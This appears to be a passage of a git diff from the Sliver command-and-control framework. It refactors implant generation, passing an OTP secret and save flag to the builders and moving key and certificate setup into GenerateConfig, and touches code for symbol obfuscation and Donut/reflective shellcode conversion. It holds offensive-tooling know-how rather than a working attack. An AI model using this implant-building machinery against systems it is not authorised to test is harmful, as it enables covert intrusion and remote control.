func SliverSharedLibrary(name string, otpSecret string, config *models.ImplantConfig, save bool) (string, error) {
|
||||
// Compile go code
|
||||
var cc string
|
||||
var cxx string
|
||||
@@ -349,7 +356,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goPrivate(config),
|
||||
}
|
||||
pkgPath, err := renderSliverGoCode(name, config, goConfig)
|
||||
pkgPath, err := renderSliverGoCode(name, otpSecret, config, goConfig)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -385,15 +392,17 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
|
||||
}
|
||||
config.FileName = filepath.Base(dest)
|
||||
|
||||
err = ImplantBuildSave(name, config, dest)
|
||||
if err != nil {
|
||||
buildLog.Errorf("Failed to save build: %s", err)
|
||||
if save {
|
||||
err = ImplantBuildSave(name, config, dest)
|
||||
if err != nil {
|
||||
buildLog.Errorf("Failed to save build: %s", err)
|
||||
}
|
||||
}
|
||||
return dest, err
|
||||
}
|
||||
|
||||
// SliverExecutable - Generates a sliver executable binary
|
||||
func SliverExecutable(name string, config *models.ImplantConfig) (string, error) {
|
||||
func SliverExecutable(name string, otpSecret string, config *models.ImplantConfig, save bool) (string, error) {
|
||||
// Compile go code
|
||||
appDir := assets.GetRootAppDir()
|
||||
cgo := "0"
|
||||
@@ -416,7 +425,7 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
|
||||
GOGARBLE: goPrivate(config),
|
||||
}
|
||||
|
||||
pkgPath, err := renderSliverGoCode(name, config, goConfig)
|
||||
pkgPath, err := renderSliverGoCode(name, otpSecret, config, goConfig)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -446,98 +455,42 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
|
||||
return "", err
|
||||
}
|
||||
config.FileName = filepath.Base(dest)
|
||||
err = ImplantBuildSave(name, config, dest)
|
||||
if err != nil {
|
||||
buildLog.Errorf("Failed to save build: %s", err)
|
||||
if save {
|
||||
err = ImplantBuildSave(name, config, dest)
|
||||
if err != nil {
|
||||
buildLog.Errorf("Failed to save build: %s", err)
|
||||
}
|
||||
}
|
||||
return dest, err
|
||||
}
|
||||
|
||||
// This function is a little too long, we should probably refactor it as some point
|
||||
func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gogo.GoConfig) (string, error) {
|
||||
var err error
|
||||
func renderSliverGoCode(name string, otpSecret string, config *models.ImplantConfig, goConfig *gogo.GoConfig) (string, error) {
|
||||
target := fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH)
|
||||
if _, ok := gogo.ValidCompilerTargets(*goConfig)[target]; !ok {
|
||||
return "", fmt.Errorf("invalid compiler target: %s", target)
|
||||
}
|
||||
if name == "" {
|
||||
return "", fmt.Errorf("name cannot be empty")
|
||||
}
|
||||
|
||||
buildLog.Debugf("Generating new sliver binary '%s'", name)
|
||||
|
||||
config.MTLSc2Enabled = isC2Enabled([]string{"mtls"}, config.C2)
|
||||
config.WGc2Enabled = isC2Enabled([]string{"wg"}, config.C2)
|
||||
config.HTTPc2Enabled = isC2Enabled([]string{"http", "https"}, config.C2)
|
||||
config.DNSc2Enabled = isC2Enabled([]string{"dns"}, config.C2)
|
||||
config.NamePipec2Enabled = isC2Enabled([]string{"namedpipe"}, config.C2)
|
||||
config.TCPPivotc2Enabled = isC2Enabled([]string{"tcppivot"}, config.C2)
|
||||
|
||||
sliversDir := GetSliversDir() // ~/.sliver/slivers
|
||||
projectGoPathDir := filepath.Join(sliversDir, config.GOOS, config.GOARCH, filepath.Base(name))
|
||||
if _, err := os.Stat(projectGoPathDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(projectGoPathDir, 0700)
|
||||
}
|
||||
|
||||
goConfig.ProjectDir = projectGoPathDir
|
||||
|
||||
// Cert PEM encoded certificates
|
||||
serverCACert, _, _ := certs.GetCertificateAuthorityPEM(certs.MtlsServerCA)
|
||||
sliverCert, sliverKey, err := certs.MtlsC2ImplantGenerateECCCertificate(name)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// ECC keys
|
||||
implantKeyPair, err := cryptography.RandomECCKeyPair()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
serverKeyPair := cryptography.ECCServerKeyPair()
|
||||
digest := sha256.Sum256((*implantKeyPair.Public)[:])
|
||||
config.ECCPublicKey = implantKeyPair.PublicBase64()
|
||||
config.ECCPublicKeyDigest = hex.EncodeToString(digest[:])
|
||||
config.ECCPrivateKey = implantKeyPair.PrivateBase64()
|
||||
config.ECCPublicKeySignature = cryptography.MinisignServerSign(implantKeyPair.Public[:])
|
||||
config.ECCServerPublicKey = serverKeyPair.PublicBase64()
|
||||
config.MinisignServerPublicKey = cryptography.MinisignServerPublicKey()
|
||||
|
||||
// MTLS keys
|
||||
if config.MTLSc2Enabled {
|
||||
config.MtlsCACert = string(serverCACert)
|
||||
config.MtlsCert = string(sliverCert)
|
||||
config.MtlsKey = string(sliverKey)
|
||||
}
|
||||
|
||||
otpSecret, err := cryptography.TOTPServerSecret()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// Generate wg Keys as needed
|
||||
if config.WGc2Enabled {
|
||||
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
_, serverPubKey, err := certs.GetWGServerKeys()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to embed implant wg keys: %s", err)
|
||||
}
|
||||
config.WGImplantPrivKey = implantPrivKey
|
||||
config.WGServerPubKey = serverPubKey
|
||||
}
|
||||
|
||||
err = ImplantConfigSave(config)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// binDir - ~/.sliver/slivers/<os>/<arch>/<name>/bin
|
||||
binDir := filepath.Join(projectGoPathDir, "bin")
|
||||
os.MkdirAll(binDir, 0700)
|
||||
|
||||
// srcDir - ~/.sliver/slivers/<os>/<arch>/<name>/src
|
||||
srcDir := filepath.Join(projectGoPathDir, "src")
|
||||
assets.SetupGoPath(srcDir) // Extract GOPATH dependency files
|
||||
err = util.ChmodR(srcDir, 0600, 0700) // Ensures src code files are writable
|
||||
assets.SetupGoPath(srcDir) // Extract GOPATH dependency files
|
||||
err := util.ChmodR(srcDir, 0600, 0700) // Ensures src code files are writable
|
||||
if err != nil {
|
||||
buildLog.Errorf("fs perms: %v", err)
|
||||
return "", err
|
||||
@@ -648,13 +601,13 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
|
||||
// Render GoMod
|
||||
buildLog.Info("Rendering go.mod file ...")
|
||||
goModPath := path.Join(sliverPkgDir, "go.mod")
|
||||
err = ioutil.WriteFile(goModPath, []byte(implant.GoMod), 0600)
|
||||
goModPath := filepath.Join(sliverPkgDir, "go.mod")
|
||||
err = os.WriteFile(goModPath, []byte(implant.GoMod), 0600)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
goSumPath := path.Join(sliverPkgDir, "go.sum")
|
||||
err = ioutil.WriteFile(goSumPath, []byte(implant.GoSum), 0600)
|
||||
goSumPath := filepath.Join(sliverPkgDir, "go.sum")
|
||||
err = os.WriteFile(goSumPath, []byte(implant.GoSum), 0600)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -684,6 +637,68 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
return sliverPkgDir, nil
|
||||
}
|
||||
|
||||
// GenerateConfig - Generate the keys/etc for the implant
|
||||
func GenerateConfig(name string, config *models.ImplantConfig, save bool) error {
|
||||
var err error
|
||||
|
||||
config.MTLSc2Enabled = isC2Enabled([]string{"mtls"}, config.C2)
|
||||
config.WGc2Enabled = isC2Enabled([]string{"wg"}, config.C2)
|
||||
config.HTTPc2Enabled = isC2Enabled([]string{"http", "https"}, config.C2)
|
||||
config.DNSc2Enabled = isC2Enabled([]string{"dns"}, config.C2)
|
||||
config.NamePipec2Enabled = isC2Enabled([]string{"namedpipe"}, config.C2)
|
||||
config.TCPPivotc2Enabled = isC2Enabled([]string{"tcppivot"}, config.C2)
|
||||
|
||||
// Cert PEM encoded certificates
|
||||
serverCACert, _, _ := certs.GetCertificateAuthorityPEM(certs.MtlsServerCA)
|
||||
sliverCert, sliverKey, err := certs.MtlsC2ImplantGenerateECCCertificate(name)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// ECC keys
|
||||
implantKeyPair, err := cryptography.RandomECCKeyPair()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
serverKeyPair := cryptography.ECCServerKeyPair()
|
||||
digest := sha256.Sum256((*implantKeyPair.Public)[:])
|
||||
config.ECCPublicKey = implantKeyPair.PublicBase64()
|
||||
config.ECCPublicKeyDigest = hex.EncodeToString(digest[:])
|
||||
config.ECCPrivateKey = implantKeyPair.PrivateBase64()
|
||||
config.ECCPublicKeySignature = cryptography.MinisignServerSign(implantKeyPair.Public[:])
|
||||
config.ECCServerPublicKey = serverKeyPair.PublicBase64()
|
||||
config.MinisignServerPublicKey = cryptography.MinisignServerPublicKey()
|
||||
|
||||
// MTLS keys
|
||||
if config.MTLSc2Enabled {
|
||||
config.MtlsCACert = string(serverCACert)
|
||||
config.MtlsCert = string(sliverCert)
|
||||
config.MtlsKey = string(sliverKey)
|
||||
}
|
||||
|
||||
// Generate wg Keys as needed
|
||||
if config.WGc2Enabled {
|
||||
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, serverPubKey, err := certs.GetWGServerKeys()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to embed implant wg keys: %s", err)
|
||||
}
|
||||
config.WGImplantPrivKey = implantPrivKey
|
||||
config.WGServerPubKey = serverPubKey
|
||||
}
|
||||
|
||||
if save {
|
||||
err = ImplantConfigSave(config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Platform specific ENV VARS take precedence over generic
|
||||
func getCrossCompilersFromEnv(targetGoos string, targetGoarch string) (string, string) {
|
||||
var cc string
|
||||
@@ -728,24 +743,28 @@ func findCrossCompilers(targetGoos string, targetGoarch string) (string, string)
|
||||
// If no CC is set in ENV then look for default path(s), we need a CC
|
||||
// but don't always need a CXX so we only WARN on a missing CXX
|
||||
if cc == "" {
|
||||
buildLog.Info("CC not found in ENV, using default paths")
|
||||
buildLog.Debugf("CC not found in ENV, using default paths")
|
||||
if _, ok := defaultCCPaths[runtime.GOOS]; ok {
|
||||
if cc, found = defaultCCPaths[runtime.GOOS][targetGoos][targetGoarch]; !found {
|
||||
buildLog.Warnf("No default for %s/%s from %s", targetGoos, targetGoarch, runtime.GOOS)
|
||||
buildLog.Debugf("No default for %s/%s from %s", targetGoos, targetGoarch, runtime.GOOS)
|
||||
}
|
||||
} else {
|
||||
buildLog.Warnf("No default paths for %s runtime", runtime.GOOS)
|
||||
buildLog.Debugf("No default paths for %s runtime", runtime.GOOS)
|
||||
}
|
||||
}
|
||||
|
||||
// Check to see if CC and CXX exist
|
||||
if _, err := os.Stat(cc); os.IsNotExist(err) {
|
||||
buildLog.Warnf("CC path '%s' does not exist", cc)
|
||||
}
|
||||
if _, err := os.Stat(cxx); os.IsNotExist(err) {
|
||||
buildLog.Warnf("CXX path '%s' does not exist", cxx)
|
||||
if cc != "" {
|
||||
if _, err := os.Stat(cc); os.IsNotExist(err) {
|
||||
buildLog.Warnf("CC path '%s' does not exist", cc)
|
||||
}
|
||||
}
|
||||
buildLog.Debugf(" CC = '%s'", cc)
|
||||
if cxx != "" {
|
||||
if _, err := os.Stat(cxx); os.IsNotExist(err) {
|
||||
buildLog.Warnf("CXX path '%s' does not exist", cxx)
|
||||
}
|
||||
}
|
||||
buildLog.Debugf("CXX = '%s'", cxx)
|
||||
return cc, cxx
|
||||
}
|
||||
@@ -912,19 +931,19 @@ func getGoHttpsProxy() string {
|
||||
const (
|
||||
// The wireguard garble bug appears to have been fixed.
|
||||
// Updated the wgGoPrivate to "*"
|
||||
wgGoPrivate = "*"
|
||||
// wgGoPrivate = "*"
|
||||
allGoPrivate = "*"
|
||||
)
|
||||
|
||||
func goPrivate(config *models.ImplantConfig) string {
|
||||
for _, c2 := range config.C2 {
|
||||
uri, err := url.Parse(c2.URL)
|
||||
if err != nil {
|
||||
return wgGoPrivate
|
||||
}
|
||||
if uri.Scheme == "wg" {
|
||||
return wgGoPrivate
|
||||
}
|
||||
}
|
||||
// for _, c2 := range config.C2 {
|
||||
// uri, err := url.Parse(c2.URL)
|
||||
// if err != nil {
|
||||
// return wgGoPrivate
|
||||
// }
|
||||
// if uri.Scheme == "wg" {
|
||||
// return wgGoPrivate
|
||||
// }
|
||||
// }
|
||||
return allGoPrivate
|
||||
}
|
||||
@@ -28,6 +28,10 @@ import (
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
)
|
||||
|
||||
const (
|
||||
otpTestSecret = "12345678901234567890"
|
||||
)
|
||||
|
||||
var (
|
||||
nonce = 0
|
||||
)
|
||||
@@ -173,7 +177,7 @@ func mtlsExe(t *testing.T, goos string, goarch string, beacon bool, debug bool)
|
||||
IsBeacon: beacon,
|
||||
}
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("mtls_test%d", nonce), config)
|
||||
_, err := SliverExecutable(fmt.Sprintf("mtls_test%d", nonce), otpTestSecret, config, true)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
@@ -193,7 +197,7 @@ func dnsExe(t *testing.T, goos string, goarch string, beacon bool, debug bool) {
|
||||
IsBeacon: beacon,
|
||||
}
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("dns_test%d", nonce), config)
|
||||
_, err := SliverExecutable(fmt.Sprintf("dns_test%d", nonce), otpTestSecret, config, true)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
@@ -217,7 +221,7 @@ func httpExe(t *testing.T, goos string, goarch string, beacon bool, debug bool)
|
||||
IsBeacon: beacon,
|
||||
}
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("http_test%d", nonce), config)
|
||||
_, err := SliverExecutable(fmt.Sprintf("http_test%d", nonce), otpTestSecret, config, true)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
@@ -245,7 +249,7 @@ func multiExe(t *testing.T, goos string, goarch string, beacon bool, debug bool)
|
||||
IsBeacon: beacon,
|
||||
}
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("multi_test%d", nonce), config)
|
||||
_, err := SliverExecutable(fmt.Sprintf("multi_test%d", nonce), otpTestSecret, config, true)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
@@ -272,7 +276,7 @@ func multiWindowsService(t *testing.T, goos string, goarch string, beacon bool,
|
||||
IsBeacon: beacon,
|
||||
}
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("service_test%d", nonce), config)
|
||||
_, err := SliverExecutable(fmt.Sprintf("service_test%d", nonce), otpTestSecret, config, true)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
@@ -296,7 +300,7 @@ func tcpPivotExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
ObfuscateSymbols: false,
|
||||
}
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("tcpPivot_test%d", nonce), config)
|
||||
_, err := SliverExecutable(fmt.Sprintf("tcpPivot_test%d", nonce), otpTestSecret, config, true)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
@@ -319,7 +323,7 @@ func namedPipeExe(t *testing.T, goos string, goarch string, debug bool) {
|
||||
ObfuscateSymbols: false,
|
||||
}
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("namedpipe_test%d", nonce), config)
|
||||
_, err := SliverExecutable(fmt.Sprintf("namedpipe_test%d", nonce), otpTestSecret, config, true)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
@@ -349,7 +353,7 @@ func wireguardExe(t *testing.T, goos string, goarch string, beacon bool, debug b
|
||||
}
|
||||
nonce++
|
||||
certs.SetupWGKeys()
|
||||
_, err := SliverExecutable(fmt.Sprintf("wireguard_test%d", nonce), config)
|
||||
_, err := SliverExecutable(fmt.Sprintf("wireguard_test%d", nonce), otpTestSecret, config, true)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
@@ -381,7 +385,7 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
|
||||
WGTcpCommsPort: 5678,
|
||||
}
|
||||
nonce++
|
||||
_, err := SliverSharedLibrary(fmt.Sprintf("multilibrary_test%d", nonce), config)
|
||||
_, err := SliverSharedLibrary(fmt.Sprintf("multilibrary_test%d", nonce), otpTestSecret, config, true)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
@@ -399,12 +403,15 @@ func symbolObfuscation(t *testing.T, goos string, goarch string) {
|
||||
{URL: "https://3.example.com"},
|
||||
{URL: "dns://4.example.com", Options: "asdf"},
|
||||
},
|
||||
MTLSc2Enabled: true,
|
||||
HTTPc2Enabled: true,
|
||||
DNSc2Enabled: true,
|
||||
|
||||
Debug: false,
|
||||
ObfuscateSymbols: true,
|
||||
}
|
||||
nonce++
|
||||
_, err := SliverExecutable(fmt.Sprintf("symbol_test%d", nonce), config)
|
||||
_, err := SliverExecutable(fmt.Sprintf("symbol_test%d", nonce), otpTestSecret, config, true)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@ package generate
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
|
||||
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
|
||||
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string) (data []byte, err error) {
|
||||
pe, err := ioutil.ReadFile(filePath)
|
||||
pe, err := os.ReadFile(filePath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@@ -27,7 +27,7 @@ func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, cl
|
||||
}
|
||||
var isUnicodeVar uint32
|
||||
if isUnicode {
|
||||
isUnicodeVar = 1
|
||||
isUnicodeVar = 1
|
||||
}
|
||||
donutArch := getDonutArch(arch)
|
||||
// We don't use DonutConfig.Thread = 1 because we create our own remote thread
|
||||
|
||||
@@ -19,80 +19,22 @@ package generate
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
)
|
||||
|
||||
// SliverExternal - Generates the cryptographic keys for the implant but compiles no code
|
||||
func SliverExternal(name string, config *models.ImplantConfig) (*clientpb.ExternalImplantConfig, error) {
|
||||
if config.Format != clientpb.OutputFormat_EXTERNAL {
|
||||
return nil, fmt.Errorf("invalid format: %s", config.Format)
|
||||
}
|
||||
config.MTLSc2Enabled = isC2Enabled([]string{"mtls"}, config.C2)
|
||||
config.WGc2Enabled = isC2Enabled([]string{"wg"}, config.C2)
|
||||
config.HTTPc2Enabled = isC2Enabled([]string{"http", "https"}, config.C2)
|
||||
config.DNSc2Enabled = isC2Enabled([]string{"dns"}, config.C2)
|
||||
config.NamePipec2Enabled = isC2Enabled([]string{"namedpipe"}, config.C2)
|
||||
config.TCPPivotc2Enabled = isC2Enabled([]string{"tcppivot"}, config.C2)
|
||||
|
||||
// Cert PEM encoded certificates
|
||||
serverCACert, _, _ := certs.GetCertificateAuthorityPEM(certs.MtlsServerCA)
|
||||
sliverCert, sliverKey, err := certs.MtlsC2ImplantGenerateECCCertificate(name)
|
||||
err := GenerateConfig(name, config, true)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// ECC keys
|
||||
implantKeyPair, err := cryptography.RandomECCKeyPair()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
serverKeyPair := cryptography.ECCServerKeyPair()
|
||||
digest := sha256.Sum256((*implantKeyPair.Public)[:])
|
||||
config.ECCPublicKey = implantKeyPair.PublicBase64()
|
||||
config.ECCPublicKeyDigest = hex.EncodeToString(digest[:])
|
||||
config.ECCPrivateKey = implantKeyPair.PrivateBase64()
|
||||
config.ECCPublicKeySignature = cryptography.MinisignServerSign(implantKeyPair.Public[:])
|
||||
config.ECCServerPublicKey = serverKeyPair.PublicBase64()
|
||||
config.MinisignServerPublicKey = cryptography.MinisignServerPublicKey()
|
||||
|
||||
// MTLS keys
|
||||
if config.MTLSc2Enabled {
|
||||
config.MtlsCACert = string(serverCACert)
|
||||
config.MtlsCert = string(sliverCert)
|
||||
config.MtlsKey = string(sliverKey)
|
||||
}
|
||||
|
||||
otpSecret, err := cryptography.TOTPServerSecret()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Generate wg Keys as needed
|
||||
if config.WGc2Enabled {
|
||||
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_, serverPubKey, err := certs.GetWGServerKeys()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to embed implant wg keys: %s", err)
|
||||
}
|
||||
config.WGImplantPrivKey = implantPrivKey
|
||||
config.WGServerPubKey = serverPubKey
|
||||
}
|
||||
err = ImplantConfigSave(config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &clientpb.ExternalImplantConfig{
|
||||
Name: name,
|
||||
Config: config.ToProtobuf(),
|
||||
OTPSecret: otpSecret,
|
||||
}, nil
|
||||
|
||||
@@ -25,7 +25,6 @@ import (
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
@@ -78,7 +77,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
return fmt.Errorf("invalid path '%s' is not a subdirectory of '%s'", fPath, rootAppDir)
|
||||
}
|
||||
|
||||
data, err := ioutil.ReadFile(fPath)
|
||||
data, err := os.ReadFile(fPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -101,7 +100,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
|
||||
return result.Error
|
||||
}
|
||||
storageLog.Infof("%s -> %s", implantBuild.ID, implantBuild.Name)
|
||||
return ioutil.WriteFile(filepath.Join(buildsDir, implantBuild.ID.String()), data, 0600)
|
||||
return os.WriteFile(filepath.Join(buildsDir, implantBuild.ID.String()), data, 0600)
|
||||
}
|
||||
|
||||
func computeHashes(data []byte) (string, string, string) {
|
||||
@@ -124,7 +123,7 @@ func ImplantFileFromBuild(build *models.ImplantBuild) ([]byte, error) {
|
||||
if _, err := os.Stat(buildFilePath); os.IsNotExist(err) {
|
||||
return nil, ErrImplantBuildFileNotFound
|
||||
}
|
||||
return ioutil.ReadFile(buildFilePath)
|
||||
return os.ReadFile(buildFilePath)
|
||||
}
|
||||
|
||||
// ImplantFileDelete - Delete the implant from the file system
|
||||
|
||||
@@ -741,8 +741,8 @@ package generate
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"io/ioutil"
|
||||
"math"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -754,11 +754,11 @@ func ShellcodeRDIToFile(dllPath string, functionName string) (shellcodePath stri
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
dir := path.Dir(dllPath)
|
||||
dir := filepath.Dir(dllPath)
|
||||
filename := strings.Replace(path.Base(dllPath), ".dll", ".bin", 1)
|
||||
filepath := filepath.Join(dir, filename)
|
||||
ioutil.WriteFile(filepath, shellcode, 0700)
|
||||
return filepath, nil
|
||||
filePath := filepath.Join(dir, filename)
|
||||
os.WriteFile(filePath, shellcode, 0700)
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
// ShellcodeRDI generates a reflective shellcode based on a DLL file
|
||||
@@ -767,7 +767,7 @@ func ShellcodeRDI(dllPath string, functionName string, userdata string) (shellco
|
||||
userDataStr := userdata
|
||||
clearHeader := true
|
||||
|
||||
dllBytes, err := ioutil.ReadFile(dllPath)
|
||||
dllBytes, err := os.ReadFile(dllPath)
|
||||
if err != nil {
|
||||
return []byte{}, err
|
||||
}
|
||||
|
||||
+70
-3
@@ -24,6 +24,7 @@ import (
|
||||
"os"
|
||||
"os/user"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/sirupsen/logrus"
|
||||
@@ -56,7 +57,7 @@ func GetRootAppDir() string {
|
||||
var dir string
|
||||
if len(value) == 0 {
|
||||
user, _ := user.Current()
|
||||
dir = path.Join(user.HomeDir, ".sliver")
|
||||
dir = filepath.Join(user.HomeDir, ".sliver")
|
||||
} else {
|
||||
dir = value
|
||||
}
|
||||
@@ -93,7 +94,7 @@ func GetLogDir() string {
|
||||
func rootLogger() *logrus.Logger {
|
||||
rootLogger := logrus.New()
|
||||
rootLogger.Formatter = &logrus.JSONFormatter{}
|
||||
jsonFilePath := path.Join(GetLogDir(), "sliver.json")
|
||||
jsonFilePath := filepath.Join(GetLogDir(), "sliver.json")
|
||||
jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
||||
if err != nil {
|
||||
panic(fmt.Sprintf("Failed to open log file %v", err))
|
||||
@@ -112,7 +113,7 @@ func txtLogger() *logrus.Logger {
|
||||
ForceColors: true,
|
||||
FullTimestamp: true,
|
||||
}
|
||||
txtFilePath := path.Join(GetLogDir(), "sliver.log")
|
||||
txtFilePath := filepath.Join(GetLogDir(), "sliver.log")
|
||||
txtFile, err := os.OpenFile(txtFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
||||
if err != nil {
|
||||
panic(fmt.Sprintf("Failed to open log file %v", err))
|
||||
@@ -176,6 +177,72 @@ func (hook *TxtHook) Levels() []logrus.Level {
|
||||
return logrus.AllLevels
|
||||
}
|
||||
|
||||
// RootLogger - Returns the root logger
|
||||
func stdoutLogger() *logrus.Logger {
|
||||
txtLogger := logrus.New()
|
||||
txtLogger.Formatter = &logrus.TextFormatter{
|
||||
ForceColors: true,
|
||||
FullTimestamp: true,
|
||||
}
|
||||
txtLogger.Out = os.Stdout
|
||||
txtLogger.SetLevel(logrus.DebugLevel)
|
||||
return txtLogger
|
||||
}
|
||||
|
||||
// TxtHook - Hook in a textual version of the logs
|
||||
type StdoutHook struct {
|
||||
Name string
|
||||
logger *logrus.Logger
|
||||
}
|
||||
|
||||
// NewTxtHook - returns a new txt hook
|
||||
func NewStdoutHook(name string) *StdoutHook {
|
||||
hook := &StdoutHook{
|
||||
Name: name,
|
||||
logger: stdoutLogger(),
|
||||
}
|
||||
return hook
|
||||
}
|
||||
|
||||
// Fire - Implements the fire method of the Logrus hook
|
||||
func (hook *StdoutHook) Fire(entry *logrus.Entry) error {
|
||||
if hook.logger == nil {
|
||||
return errors.New("no txt logger")
|
||||
}
|
||||
|
||||
// Determine the caller (filename/line number)
|
||||
srcFile := "<no caller>"
|
||||
if entry.HasCaller() {
|
||||
sliverIndex := strings.Index(entry.Caller.File, "sliver")
|
||||
srcFile = entry.Caller.File
|
||||
if sliverIndex != -1 {
|
||||
srcFile = srcFile[sliverIndex:]
|
||||
}
|
||||
}
|
||||
|
||||
switch entry.Level {
|
||||
case logrus.PanicLevel:
|
||||
hook.logger.Panicf("[%s:%d] %s", srcFile, entry.Caller.Line, entry.Message)
|
||||
case logrus.FatalLevel:
|
||||
hook.logger.Fatalf("[%s:%d] %s", srcFile, entry.Caller.Line, entry.Message)
|
||||
case logrus.ErrorLevel:
|
||||
hook.logger.Errorf("[%s:%d] %s", srcFile, entry.Caller.Line, entry.Message)
|
||||
case logrus.WarnLevel:
|
||||
hook.logger.Warnf("[%s:%d] %s", srcFile, entry.Caller.Line, entry.Message)
|
||||
case logrus.InfoLevel:
|
||||
hook.logger.Infof("[%s:%d] %s", srcFile, entry.Caller.Line, entry.Message)
|
||||
case logrus.DebugLevel, logrus.TraceLevel:
|
||||
hook.logger.Debugf("[%s:%d] %s", srcFile, entry.Caller.Line, entry.Message)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Levels - Hook all levels
|
||||
func (hook *StdoutHook) Levels() []logrus.Level {
|
||||
return logrus.AllLevels
|
||||
}
|
||||
|
||||
// LevelFrom - returns level from int
|
||||
func LevelFrom(level int) logrus.Level {
|
||||
switch level {
|
||||
|
||||
@@ -21,13 +21,15 @@ package rpc
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
|
||||
"github.com/Binject/binjection/bj"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
